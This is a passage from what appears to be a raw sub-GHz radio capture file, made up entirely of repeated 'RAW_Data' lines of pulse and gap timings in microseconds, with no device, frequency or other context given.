-124 89 -378 137 -334 127 -3686 133 -354 107 -368 93 -380 327 -126 -RAW_Data: 355 -94 369 -128 337 -128 337 -126 93 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -376 317 -134 141 -362 105 -336 127 -356 93 -370 349 -132 327 -124 121 -348 137 -336 125 -3690 135 -354 105 -338 123 -384 327 -124 351 -92 369 -130 337 -128 337 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -376 319 -134 139 -362 105 -334 127 -356 93 -372 347 -132 329 -122 121 -348 137 -336 125 -3714 97 -370 95 -364 141 -334 365 -108 339 -128 319 -124 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -366 93 -382 319 -136 103 -398 105 -336 127 -356 95 -370 349 -132 327 -124 91 -378 137 -334 127 -3684 129 -340 125 -362 139 -334 365 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -372 349 -130 329 -124 119 -348 139 -334 125 -3692 135 -352 107 -368 93 -384 327 -124 351 -94 369 -128 337 -96 369 -96 125 -368 329 -126 357 -124 337 -128 93 -368 129 -334 121 -378 317 -134 141 -360 105 -336 127 -356 93 -370 349 -132 329 -124 119 -348 139 -334 127 -3686 135 -354 105 -370 93 -380 327 -126 355 -126 337 -128 339 -128 305 -158 93 -358 347 -132 331 -124 339 -128 91 -370 131 -366 91 -380 319 -134 105 -398 105 -334 127 -358 93 -372 349 -130 329 -124 91 -378 137 -334 125 -3718 101 -356 107 -368 93 -382 349 -102 335 -122 341 -126 339 -128 337 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 137 -334 127 -3718 101 -356 107 -368 93 -380 349 -102 337 -124 343 -126 337 -130 337 -128 125 -348 353 -140 301 -126 343 -126 123 -372 101 -366 93 -382 319 -134 105 -396 105 -336 127 -358 93 -372 349 -130 329 -124 89 -378 139 -334 127 -3688 133 -356 105 -368 93 -380 327 -128 353 -92 369 -128 339 -128 337 -126 93 -368 329 -128 357 -124 337 -128 91 -368 131 -334 123 -376 317 -134 141 -360 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 137 -334 127 -3688 135 -354 105 -370 93 -380 327 -126 355 -124 339 -128 337 -128 337 -126 93 -370 327 -126 359 -124 337 -130 91 -368 131 -362 93 -378 319 -132 105 -396 105 -336 127 -356 93 -370 349 -132 329 -124 89 -378 137 -336 125 -3688 135 -354 107 -368 93 -380 327 -126 355 -92 369 -128 339 -128 337 -126 93 -368 329 -126 -RAW_Data: 359 -124 337 -128 91 -368 131 -334 121 -378 317 -134 141 -362 105 -334 127 -356 95 -370 349 -130 329 -124 121 -348 139 -334 125 -3690 133 -356 105 -368 93 -382 327 -126 355 -124 339 -128 337 -128 307 -156 95 -368 327 -128 357 -124 337 -130 91 -368 131 -332 123 -378 319 -132 105 -396 105 -334 127 -356 93 -372 349 -130 329 -124 89 -380 137 -334 127 -3716 97 -338 125 -364 139 -334 367 -108 337 -128 319 -126 369 -96 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -364 105 -334 129 -356 93 -370 349 -132 329 -124 119 -350 137 -334 127 -3694 133 -354 105 -338 125 -384 327 -124 351 -94 369 -96 369 -96 369 -96 125 -368 329 -126 357 -124 337 -128 93 -368 129 -334 121 -376 319 -134 139 -362 105 -336 127 -356 93 -372 349 -130 329 -124 121 -348 137 -336 125 -3692 135 -354 107 -336 125 -384 327 -124 349 -94 369 -130 337 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -376 319 -134 141 -360 105 -336 127 -356 93 -372 349 -130 329 -124 119 -350 137 -334 127 -3720 101 -356 107 -368 93 -380 329 -126 353 -126 337 -128 337 -130 337 -126 93 -368 327 -128 359 -124 337 -128 93 -368 131 -332 123 -376 319 -134 103 -398 103 -336 127 -356 93 -372 349 -130 329 -124 91 -378 139 -334 127 -3688 135 -354 107 -368 93 -380 329 -126 353 -92 369 -128 339 -128 337 -126 93 -370 327 -128 357 -122 339 -128 91 -368 131 -332 123 -378 317 -134 141 -362 105 -334 127 -358 93 -370 349 -132 329 -122 121 -348 139 -334 127 -3718 101 -356 105 -370 93 -380 349 -104 337 -124 341 -126 339 -128 337 -128 127 -346 353 -140 301 -126 345 -126 121 -372 101 -368 91 -384 319 -134 139 -362 105 -336 127 -358 93 -372 349 -130 329 -124 91 -378 137 -336 125 -3692 135 -354 105 -370 93 -380 327 -126 353 -94 367 -130 337 -128 337 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -378 317 -134 141 -362 105 -336 127 -356 93 -372 349 -130 329 -124 119 -348 139 -334 127 -3720 99 -356 107 -368 93 -382 349 -104 337 -124 341 -126 337 -130 337 -128 125 -348 353 -138 301 -126 345 -126 121 -372 101 -368 93 -382 319 -136 139 -362 105 -336 127 -356 95 -370 349 -132 329 -124 91 -378 137 -336 125 -3688 129 -340 125 -362 139 -334 365 -108 337 -128 319 -126 369 -96 337 -128 127 -372 325 -140 337 -126 315 -126 121 -372 101 -368 93 -382 351 -104 -RAW_Data: 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3690 135 -354 107 -368 93 -392 329 -132 329 -124 337 -128 337 -128 337 -128 93 -384 349 -104 335 -124 341 -126 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 139 -336 125 -3698 135 -350 105 -338 123 -384 327 -126 351 -94 369 -96 369 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -378 317 -136 139 -362 105 -336 127 -354 95 -370 349 -130 329 -124 119 -350 139 -334 125 -3720 101 -356 105 -370 93 -380 349 -104 337 -124 339 -128 337 -128 337 -128 127 -344 355 -138 335 -94 345 -126 123 -372 101 -368 91 -384 349 -102 143 -362 105 -334 129 -356 93 -370 349 -132 331 -122 121 -348 139 -334 125 -3692 135 -354 105 -370 93 -380 327 -126 355 -124 337 -128 339 -128 337 -126 93 -368 327 -128 359 -124 339 -128 91 -370 129 -364 93 -378 317 -134 103 -398 103 -336 127 -358 93 -370 349 -132 329 -124 89 -380 137 -334 127 -3718 99 -356 107 -368 93 -384 349 -104 335 -124 341 -126 337 -128 339 -126 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -334 129 -358 93 -370 349 -132 329 -124 119 -350 137 -336 125 -3714 97 -370 93 -368 141 -334 367 -108 339 -128 319 -124 337 -130 337 -128 127 -374 325 -140 335 -126 315 -126 123 -372 101 -366 93 -384 317 -136 139 -362 105 -336 127 -356 95 -370 349 -132 329 -124 89 -380 139 -334 125 -3692 135 -354 107 -368 93 -382 327 -126 351 -94 369 -128 339 -128 337 -126 93 -368 329 -126 359 -124 337 -128 91 -368 131 -332 123 -378 317 -134 141 -362 105 -334 127 -358 93 -372 349 -130 331 -122 121 -348 137 -336 125 -3722 99 -356 107 -368 93 -380 349 -104 337 -124 341 -126 337 -128 339 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 331 -124 119 -350 139 -334 125 -3694 133 -356 105 -370 93 -382 327 -124 353 -94 391 -104 357 -108 335 -124 109 -374 345 -106 337 -130 355 -94 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3718 101 -356 141 -334 125 -352 349 -104 337 -124 341 -128 337 -128 337 -128 127 -346 355 -138 303 -124 347 -126 121 -372 101 -366 93 -382 319 -134 141 -362 105 -336 127 -358 95 -370 349 -132 327 -124 -RAW_Data: 91 -380 137 -334 127 -3718 99 -356 107 -370 93 -382 349 -104 335 -124 341 -126 337 -128 339 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 119 -350 137 -334 127 -3722 99 -356 107 -370 93 -380 349 -104 337 -124 341 -126 337 -130 337 -128 127 -346 353 -140 301 -156 315 -126 121 -372 101 -368 91 -384 319 -134 141 -362 105 -334 129 -356 93 -372 349 -132 329 -124 89 -380 137 -334 127 -3720 101 -356 105 -370 93 -382 351 -102 335 -124 341 -126 337 -128 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -372 103 -362 347 -108 361 -106 107 -362 139 -338 99 -3734 101 -354 143 -334 93 -396 329 -134 329 -122 361 -104 359 -108 335 -126 143 -342 345 -108 337 -132 353 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3724 99 -356 107 -370 93 -380 349 -104 337 -124 339 -126 337 -130 337 -128 125 -344 355 -140 333 -94 377 -94 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 137 -334 127 -3692 135 -354 105 -370 93 -392 327 -134 329 -122 337 -128 339 -128 337 -126 93 -384 351 -102 337 -124 339 -128 121 -372 101 -368 91 -382 351 -102 141 -364 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 137 -336 125 -3724 101 -356 107 -368 93 -392 329 -132 329 -126 359 -104 359 -106 337 -124 107 -376 345 -106 339 -132 325 -124 121 -374 101 -368 93 -384 351 -104 139 -362 105 -334 129 -372 103 -362 345 -108 361 -106 105 -396 103 -340 135 -3700 99 -392 105 -334 127 -356 349 -104 337 -124 341 -126 337 -128 339 -126 127 -342 357 -140 333 -94 379 -94 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 137 -336 127 -3690 135 -354 105 -370 93 -392 329 -132 329 -124 359 -106 357 -108 337 -124 143 -342 345 -108 337 -132 355 -94 139 -340 127 -356 93 -372 349 -132 103 -394 105 -336 125 -354 93 -370 349 -132 327 -124 121 -348 139 -334 125 -3720 99 -356 107 -370 125 -350 349 -104 337 -124 341 -128 337 -128 339 -126 127 -346 355 -140 301 -126 345 -126 121 -372 101 -368 91 -384 317 -136 141 -362 105 -334 129 -358 93 -372 349 -130 329 -124 89 -380 139 -334 125 -3720 101 -356 105 -370 93 -384 -RAW_Data: 349 -104 335 -122 341 -126 337 -130 337 -128 125 -344 355 -140 335 -94 345 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -374 103 -360 349 -108 361 -106 107 -362 139 -338 99 -3726 97 -372 93 -378 123 -352 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -104 365 -92 139 -342 127 -358 93 -392 327 -122 121 -350 137 -336 125 -356 93 -370 349 -132 331 -122 121 -350 139 -334 125 -3716 95 -372 93 -380 93 -380 355 -106 349 -104 363 -94 391 -104 357 -108 105 -360 359 -106 349 -102 365 -94 139 -340 129 -358 93 -390 327 -124 119 -350 137 -336 127 -356 93 -370 349 -132 331 -122 121 -348 139 -336 127 -3722 101 -356 107 -368 93 -392 327 -134 329 -124 337 -128 337 -128 337 -126 95 -384 349 -104 335 -124 341 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 137 -336 127 -3724 99 -358 105 -370 93 -380 327 -126 355 -124 337 -130 337 -128 337 -126 95 -368 327 -128 357 -124 337 -128 93 -368 131 -364 93 -378 319 -134 103 -396 105 -336 127 -356 93 -372 349 -132 329 -124 91 -378 139 -332 127 -3694 135 -354 107 -368 93 -382 327 -126 351 -94 369 -128 337 -130 337 -126 93 -368 329 -126 359 -124 337 -128 91 -368 131 -334 123 -376 319 -134 141 -360 107 -334 127 -358 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3718 101 -356 141 -334 125 -352 349 -104 337 -124 341 -126 337 -130 337 -128 125 -344 355 -138 335 -126 347 -94 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -356 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3696 135 -354 105 -368 93 -384 327 -124 351 -94 391 -104 359 -106 337 -124 107 -376 343 -106 339 -128 355 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3696 135 -346 93 -382 137 -334 363 -92 345 -132 333 -124 357 -106 357 -144 105 -344 347 -126 325 -138 357 -108 103 -348 127 -358 103 -368 365 -92 123 -372 95 -374 95 -372 95 -378 341 -126 337 -128 93 -384 93 -372 97 -3738 105 -370 97 -362 125 -358 329 -122 337 -128 337 -128 337 -128 337 -124 125 -350 347 -132 331 -124 337 -128 121 -372 99 -368 91 -380 351 -104 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 121 -350 139 -334 125 -3724 101 -354 107 -368 93 -382 349 -104 337 -124 341 -128 337 -128 337 -128 127 -346 -RAW_Data: 355 -138 303 -124 347 -126 121 -372 101 -368 91 -384 319 -134 141 -362 105 -334 129 -356 93 -372 349 -132 329 -124 91 -378 139 -334 127 -3722 101 -356 107 -368 93 -382 349 -102 337 -122 341 -126 337 -130 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 127 -358 93 -370 349 -132 331 -124 119 -350 137 -336 127 -3716 97 -370 93 -368 139 -336 367 -108 337 -130 317 -126 337 -128 339 -128 125 -372 327 -140 333 -128 317 -126 123 -372 101 -368 93 -382 319 -134 141 -362 105 -336 127 -356 95 -370 349 -132 329 -124 121 -350 137 -334 127 -3692 135 -354 105 -370 93 -392 329 -132 329 -122 337 -128 337 -130 337 -126 127 -350 349 -104 337 -124 341 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -348 139 -336 125 -3722 101 -356 107 -368 93 -382 349 -104 337 -124 341 -128 337 -128 339 -126 127 -346 355 -138 301 -158 313 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -336 127 -356 95 -370 349 -132 329 -124 119 -350 137 -336 125 -3694 135 -354 105 -370 93 -380 327 -126 355 -94 367 -130 337 -128 337 -126 93 -360 345 -134 331 -124 339 -128 121 -370 101 -366 93 -382 349 -104 141 -364 103 -336 127 -356 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3696 135 -354 105 -370 93 -382 327 -124 351 -126 337 -128 339 -128 337 -126 93 -358 347 -132 333 -124 339 -126 121 -372 101 -366 93 -380 351 -104 141 -362 105 -334 127 -358 93 -372 349 -130 331 -124 119 -350 139 -334 127 -3716 97 -370 95 -366 141 -336 367 -108 339 -128 319 -126 337 -128 339 -128 125 -344 355 -140 335 -126 315 -126 123 -372 101 -366 93 -384 319 -134 141 -360 105 -336 129 -372 103 -360 347 -108 361 -106 105 -396 103 -340 101 -3738 101 -392 105 -334 127 -366 329 -132 329 -124 359 -104 359 -108 335 -124 145 -342 345 -106 339 -130 357 -92 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -372 105 -360 349 -106 361 -108 105 -398 103 -340 99 -3734 99 -392 105 -334 127 -354 349 -140 301 -124 343 -126 339 -128 337 -128 127 -344 355 -140 333 -126 315 -126 121 -372 101 -366 93 -384 319 -134 141 -362 105 -336 127 -372 105 -360 347 -106 361 -106 105 -398 103 -338 135 -3706 99 -392 105 -334 127 -352 351 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -126 347 -94 121 -374 101 -368 91 -384 -RAW_Data: 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -334 127 -3724 101 -356 107 -368 93 -380 349 -104 337 -124 343 -126 337 -130 337 -128 125 -348 353 -140 301 -126 345 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -370 105 -360 347 -106 361 -106 105 -396 103 -340 135 -3700 99 -392 105 -336 127 -356 349 -104 337 -124 341 -126 339 -128 337 -128 125 -344 355 -140 335 -126 347 -94 121 -372 101 -368 91 -384 351 -104 141 -362 103 -336 129 -358 93 -370 349 -132 329 -124 121 -348 139 -336 127 -3724 99 -358 105 -370 93 -380 351 -102 337 -124 341 -128 337 -128 337 -128 127 -346 353 -140 301 -126 345 -126 121 -372 101 -368 93 -384 319 -134 141 -360 105 -336 129 -370 105 -360 347 -106 361 -106 105 -396 103 -340 135 -3700 101 -392 103 -336 127 -358 349 -104 335 -124 341 -128 337 -128 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 329 -124 119 -350 139 -334 127 -3726 99 -358 105 -370 93 -380 327 -126 355 -126 337 -128 339 -128 337 -126 93 -368 329 -128 359 -124 337 -128 93 -368 131 -362 93 -378 319 -134 103 -396 105 -336 127 -356 95 -370 349 -132 329 -124 89 -380 137 -336 125 -3692 135 -354 107 -368 93 -394 329 -132 329 -122 337 -128 337 -130 337 -126 127 -350 349 -104 337 -124 341 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3692 135 -354 107 -368 93 -392 329 -134 329 -124 337 -128 337 -128 337 -126 95 -384 349 -104 335 -124 341 -126 123 -370 103 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -348 139 -336 127 -3720 99 -356 107 -370 93 -382 351 -102 337 -124 339 -128 337 -128 337 -128 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 91 -384 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -336 125 -3724 101 -356 105 -370 93 -392 329 -134 329 -124 359 -104 359 -108 335 -124 145 -342 345 -106 339 -130 357 -92 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3724 101 -356 105 -370 93 -380 351 -104 337 -124 341 -128 337 -128 337 -128 127 -346 353 -140 301 -156 315 -126 121 -372 101 -368 93 -382 319 -136 139 -362 105 -336 129 -358 93 -370 349 -132 -RAW_Data: 329 -124 91 -380 137 -334 127 -3718 99 -356 143 -334 125 -354 349 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -126 347 -94 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3716 95 -372 95 -380 105 -370 345 -108 339 -132 353 -94 369 -96 369 -96 127 -368 363 -106 337 -128 349 -94 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3714 97 -370 95 -378 93 -380 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -104 365 -94 139 -340 129 -358 93 -392 327 -122 121 -348 139 -334 127 -356 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3716 95 -372 93 -368 141 -334 367 -108 339 -128 319 -126 337 -128 339 -128 125 -374 327 -140 333 -126 317 -126 123 -370 101 -368 93 -384 351 -102 141 -362 105 -336 129 -370 105 -360 347 -106 361 -106 105 -396 103 -340 137 -3704 99 -392 105 -334 127 -354 351 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -374 103 -360 349 -108 361 -106 107 -396 105 -338 135 -3698 101 -392 103 -336 125 -356 349 -140 303 -124 343 -126 337 -130 337 -128 125 -346 355 -138 333 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 89 -380 137 -336 125 -3696 135 -344 125 -352 103 -368 365 -92 345 -134 331 -124 357 -106 359 -108 141 -344 347 -94 391 -104 357 -108 105 -348 125 -358 139 -334 367 -92 121 -370 97 -372 97 -372 125 -346 343 -128 337 -130 93 -366 125 -356 125 -3712 101 -378 103 -336 125 -388 323 -124 347 -94 369 -96 371 -96 369 -94 125 -368 329 -126 359 -122 339 -128 91 -368 131 -334 121 -378 351 -102 141 -362 105 -334 127 -356 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3724 101 -356 105 -370 93 -382 351 -102 337 -124 341 -128 337 -128 339 -126 127 -346 355 -140 301 -126 345 -126 121 -372 101 -368 93 -384 317 -136 139 -362 105 -336 129 -372 103 -360 347 -106 361 -106 105 -398 103 -340 135 -3700 101 -392 103 -336 127 -370 331 -132 329 -124 337 -128 337 -128 337 -128 93 -384 351 -102 337 -124 341 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 125 -3724 101 -356 107 -368 -RAW_Data: 93 -382 349 -104 337 -124 341 -128 337 -128 339 -126 127 -346 355 -138 333 -126 315 -126 121 -372 101 -368 93 -384 317 -136 141 -362 103 -338 127 -358 95 -370 349 -132 329 -124 89 -380 137 -336 125 -3726 101 -356 107 -368 93 -382 349 -102 337 -122 341 -126 337 -128 339 -128 125 -342 355 -142 335 -94 347 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3698 99 -392 105 -334 127 -356 351 -102 339 -122 343 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3724 101 -356 105 -370 93 -382 349 -104 337 -124 339 -126 339 -128 337 -128 127 -342 355 -140 333 -126 347 -94 121 -372 103 -368 91 -384 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3702 101 -392 105 -334 125 -366 331 -132 331 -122 337 -130 337 -128 337 -126 95 -384 349 -104 335 -124 341 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3714 97 -372 95 -378 107 -370 347 -106 341 -130 355 -92 369 -98 369 -96 127 -370 327 -140 337 -126 319 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3716 97 -372 93 -370 141 -334 367 -108 337 -128 319 -126 369 -96 369 -96 127 -370 327 -140 335 -128 317 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3726 101 -356 107 -368 93 -394 327 -132 331 -122 337 -128 339 -128 337 -126 95 -384 349 -104 337 -122 343 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -334 127 -3728 99 -356 107 -368 93 -394 329 -132 329 -122 337 -128 337 -130 337 -126 127 -350 349 -104 337 -124 341 -126 123 -372 101 -366 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3724 101 -356 105 -370 93 -382 349 -104 337 -124 339 -126 339 -128 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3702 101 -392 105 -334 125 -368 329 -134 329 -124 337 -128 337 -128 337 -128 -RAW_Data: 93 -384 349 -104 335 -124 343 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 127 -3724 101 -354 107 -370 93 -382 349 -104 337 -124 339 -128 337 -128 339 -126 127 -342 355 -140 335 -124 347 -94 121 -372 103 -366 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3724 101 -356 107 -368 93 -392 329 -134 329 -124 337 -128 337 -128 337 -128 93 -384 349 -104 337 -124 341 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 125 -3724 99 -356 143 -334 125 -350 349 -104 337 -124 341 -126 369 -96 339 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -358 91 -372 349 -132 329 -124 121 -348 139 -336 127 -3720 101 -354 143 -334 93 -384 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -336 127 -3714 97 -370 95 -380 105 -370 347 -106 339 -132 355 -94 369 -96 371 -96 125 -370 329 -140 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 125 -3724 101 -356 107 -368 93 -382 349 -104 337 -122 341 -126 371 -96 337 -128 127 -342 355 -140 335 -126 347 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3726 101 -356 107 -368 93 -380 349 -104 337 -124 339 -128 337 -128 337 -128 127 -342 357 -140 333 -126 347 -94 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 329 -124 121 -350 139 -336 127 -3712 97 -372 95 -378 141 -334 347 -106 341 -130 357 -92 369 -98 369 -96 127 -370 327 -140 337 -126 351 -94 121 -372 101 -370 91 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 127 -3714 97 -370 95 -378 107 -370 347 -106 339 -132 355 -94 369 -96 371 -96 125 -370 329 -140 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -336 129 -356 125 -340 349 -132 331 -122 121 -350 139 -334 127 -3716 97 -370 95 -378 123 -350 355 -106 351 -138 299 -156 325 -138 357 -106 105 -396 317 -140 315 -140 333 -126 107 -376 95 -362 -RAW_Data: 93 -390 329 -124 89 -380 103 -368 127 -356 95 -370 349 -132 331 -122 121 -350 139 -334 127 -3726 99 -356 107 -370 93 -392 329 -132 329 -122 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -372 105 -360 349 -106 361 -108 105 -398 103 -338 101 -3734 99 -392 105 -334 127 -372 331 -132 329 -124 337 -128 339 -128 337 -126 95 -384 349 -104 335 -122 343 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 121 -350 137 -334 127 -3694 135 -356 105 -370 93 -380 329 -126 353 -126 337 -128 337 -130 337 -126 93 -360 345 -132 333 -124 339 -128 121 -370 101 -368 91 -382 351 -104 139 -362 105 -336 129 -372 103 -362 347 -106 363 -106 105 -398 103 -338 135 -3704 99 -392 107 -334 127 -366 331 -132 331 -122 339 -128 337 -128 337 -128 93 -384 351 -102 337 -122 343 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 347 -108 361 -106 105 -398 103 -338 137 -3700 101 -392 105 -334 127 -354 351 -104 337 -124 343 -126 337 -128 337 -128 127 -340 357 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 125 -3726 101 -356 105 -370 93 -382 349 -104 337 -124 339 -128 337 -128 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 103 -366 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3716 97 -372 93 -380 91 -380 357 -106 349 -104 365 -92 391 -104 359 -108 105 -360 357 -106 349 -140 329 -94 139 -340 129 -358 125 -360 325 -124 119 -352 139 -334 127 -356 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 107 -368 125 -364 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 335 -124 343 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -334 129 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3726 101 -356 105 -370 93 -394 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 335 -124 343 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3724 99 -356 107 -370 93 -382 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 -RAW_Data: 349 -132 329 -124 121 -350 139 -334 125 -3714 97 -372 95 -378 123 -352 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -138 331 -92 139 -342 127 -360 125 -360 327 -122 121 -350 139 -334 127 -356 123 -340 349 -132 331 -124 121 -350 137 -336 127 -3722 99 -356 143 -332 93 -384 349 -104 337 -124 341 -128 337 -128 337 -128 127 -340 357 -140 335 -126 317 -124 123 -372 101 -368 91 -384 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3716 97 -370 95 -380 105 -370 347 -106 341 -130 325 -124 369 -98 369 -96 127 -368 329 -140 337 -126 349 -94 121 -374 101 -368 91 -386 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 121 -350 137 -336 127 -3724 99 -356 107 -368 125 -352 349 -102 337 -124 341 -128 337 -128 339 -128 125 -342 357 -140 333 -128 347 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -350 139 -336 125 -3716 97 -372 93 -380 93 -380 355 -104 351 -104 365 -92 391 -104 359 -106 107 -360 357 -106 349 -138 331 -94 139 -340 129 -360 123 -360 327 -124 119 -350 137 -336 127 -356 123 -340 349 -132 331 -124 119 -352 139 -334 127 -3718 101 -392 